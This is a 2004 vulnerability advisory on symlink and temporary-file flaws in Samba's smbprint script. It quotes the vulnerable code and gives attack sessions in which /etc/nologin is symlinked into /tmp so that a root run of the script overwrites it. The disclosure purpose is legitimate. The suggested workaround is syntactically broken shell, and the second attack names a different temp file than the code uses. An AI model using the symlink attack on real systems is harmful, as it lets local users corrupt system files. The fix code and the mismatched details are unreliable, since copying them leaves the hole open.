~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*

Product:      Samba 'smbprint' script.
              https://www.samba.org

Versions:     All versions, but manifesting in 
              different ways.
Bug:          Symlink bug / tmpfile bug.
Impact:       Attacker's can write to arbitrary files,
              and in theory, elevate privileges       
                                         
              (unlikely)
Risk:         LOW
Date:         March 19, 2004
Author:       Shaun Colley
              Email: shaunige@yahoo.co.uk
              WWW: https://www.nettwerked.co.uk

~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*



Introduction
#############

Included with the immensely popular Samba Package,
there is a small script called 'smbprint', which is
quite widely used (from what discussions I read on the
mailing list) to print documents over shares.  There
are many versions of the script floating about - older
versions of the script are more vulnerable than the
smbprint script included with the latest release of
Samba (3.0.2a).

I have located a bug in older versions of the smbprint
script, and also a less likely one in the new version
(packaged with 3.0.2a and maybe earlier).  These
vulnerabilities can allow an attacker to overwrite
sensitive system files, and in theory (though very
unlikely) elevate privilges.  These bugs are due to
insecure tmpfile creation.


***NOTE: Although I refer to the less new smbprint
script as "older script", it is included in Mandrake
9.0, so it's not entirely "old" by any means.  By "new
script", I mean the one posted by Alfred Perlstein,
which is packaged in the latest Samba packages.***



Details
########

1) Older versions of smbprint - tmpfile vulnerability.
--

In older versions of smbprint (there are many versions
floating around), tmpfiles, used for debugging, are
created in an insecure manner.  For the purpose of
debugging, useful debugging information (output from
commands, server used, etc) is written to a hard-coded
logfile, /tmp/smb-print.log.  The bug manifests in the
following code:

--- /usr/bin/smbprint ---
[...]
logfile=/tmp/smb-print.log

[...]
# VULNERABLE CODE!  No file checks
# on /tmp/smb-print.log for possible
# malicious symlink.
echo "server $server, service $service" >> $logfile

[...]

# Another insecure file write.
/usr/bin/smbclient "//$server/$service" $password -U
$server -N -P >> $logfile
--- EOF

No file checks are performed before writing to
/tmp/smb-print.log, so symlinks *are* followed.  If
root is running the smbprint script, arbitrary files
may be corrupted/appended, such as system files, i.e
/etc/nologin.  It is often the root user who invokes
the script, so an attacker can potentially corrupt any
file she wishes.


2) Newest version of smbprint - tmpfile vulnerability
--

In the newer versions of smbprint (which I believe was
put together in part by Alfred Perlstein), a similar
tmpfile vulnerability exists, however, it is
exploitable in fewer cases.

smbprint uses a printer config file,
/usr/var/spool/lpd/<PRINTNAME>/.config, to correctly
carry out a print job.  If, however, a user has
specified to use debugging (in the .config file), a
tmpfile (again, due to creation of a debugging log)
vulnerability exists.  Here is a sample config file on
a system which is vulnerable:

--- .config ---
user="username"
server=server
service=printer
password=""
debug=yes
--- EOF ---

As can be seen, debugging is enabled to setting the
debug option.

In the smbprint script, the vulnerability manifests in
the following offending code:

---
debugfile="/tmp/smb-print.log"
if [ "x$debug" = "x" ] ; then
                debugfile=/dev/null debugargs=
else
        if [ $debug -eq 0 ] ; then
                debugfile=/dev/null debugargs=
        else
                # VULNERABLE CODE!  No file checks
                # on /tmp/smb-print.log for possible
                # malicious symlink.
                set -x; exec >>$debugfile 2>&1
                debugargs="$debugfile."
                #[ "x$debugsmb" == "x" ] ||
debugargs="$debugargs -d $debugsmb"
        fi
fi
---

The above code parses the host system's .config file
for the "debug" option.  If it is enabled, any program
output is redirected to '/tmp/smb-print.log', via the
BASH 'exec' command.  However, no file checks are
performed, so again, symlinks *are* followed.  If an
attacker were to create a symlink called smb-print.log
in /tmp to a sensitive system file, assuming the debug
option was set in the .config file, the system file
would be written to if a superuser invoked smbprint.



Exploitation
#############


1) Older versions of smbprint - tmpfile vulnerability.
--

Below is a sample attack scenario I carried out on my
test system.


--- attack ---
k1d$ ls -al /etc/nologin
ls: /etc/nologin: No such file or directory
k1d$ ln -s /etc/nologin /tmp/smb-print.log

[...]

root# /usr/bin/smbprint [...]

[...]

k1d$ ls -al /etc/nologin
-rw-r--r--    1 root     root            0 Mar 19
18:11 /etc/nologin
---

Exploitation, as evident above, is relatively simple. 
Since no checks on /tmp/smb-print.log are performed
for existance of a possible symlink, all that an
attacker needs to do is create a symlink named
/tmp/smb-print.log to a desired arbitrary file
writable by the invoker of smbprint, and simply wait
for smbprint to be invoked.



2) Newest version of smbprint - tmpfile vulnerability
--

Assuming the conditions are met specified in the
technical details section (i.e debugging is specified
in the .config file, etc), exploitation of the
insecure tmpfile creation is possible.  Below is an
example attack scenario, in which an attacker was able
to cause a sensitive system file to be created.

--- attack ---
k1d$ cat /usr/var/spool/lpd/default/.config
user="username"
server=server
service=printer
password=""
debug=yes

# machine seems to be vulnerable.
k1d$ ln -s /etc/nologin /tmp/smb-print.tmp

[...]

root# /usr/bin/smbprint [...]

[...]

k1d$ ls -al /etc/nologin
-rw-r--r--    1 root     root            0 Mar 19
18:11 /etc/nologin
---

As a tmpfile is only written when debugging is enabled
(the logfile is written with useful debug
information), the attacker in the above attack
condition checked for the existance of the "debug="
line in the 'smbprint' configuration file (.config). 
The attack suceeded, due to the ease of exploitation.



Solution
#########

I've tried to provide workarounds.  Maybe bug 2) will
be fixed in the next stable release of Samba.


1) Older versions of smbprint - tmpfile vulnerability.
--

The tmpfile vulnerability can be prevented by
performing a check for the existance of /tmp/smb-print
before any file writes are done.

The following line can be added before any writes to
$logfile:

---
if [ -h $logfile ] then  # could be -e instead.
$logfile="/dev/null"
fi
---

This will check for a /tmp/smb-print.log being already
a symbolic link.  More care could be taken, such as
checking just for any existance of /tmp/smb-print.log.
 The logfile will be /dev/null, if /tmp/smb-print.log
is a symbolic link, thus preventing the issue.

A better solution would be to upgrade to the latest
version of Samba.


2) Newest version of smbprint - tmpfile vulnerability
--

Simple workaround is just to disable debugging in the
smbprint config file.  Remove any line beginning with
"debug=" in your system's
/usr/var/spool/lpd/<PRINTER_NAME>/.config file.  This
should eliminate the symlink/tmpfile vulnerability.



Credit
#######

Vulnerabilities discovered and researched by Shaun
Colley / shaun2k2 - <shaunige@yahoo.co.uk>.





Thank you for your time.
Shaun.


  
  
    
___________________________________________________________
Yahoo! Messenger - Communicate instantly..."Ping" 
your friends today! Download Messenger Now 
https://uk.messenger.yahoo.com/download/index.html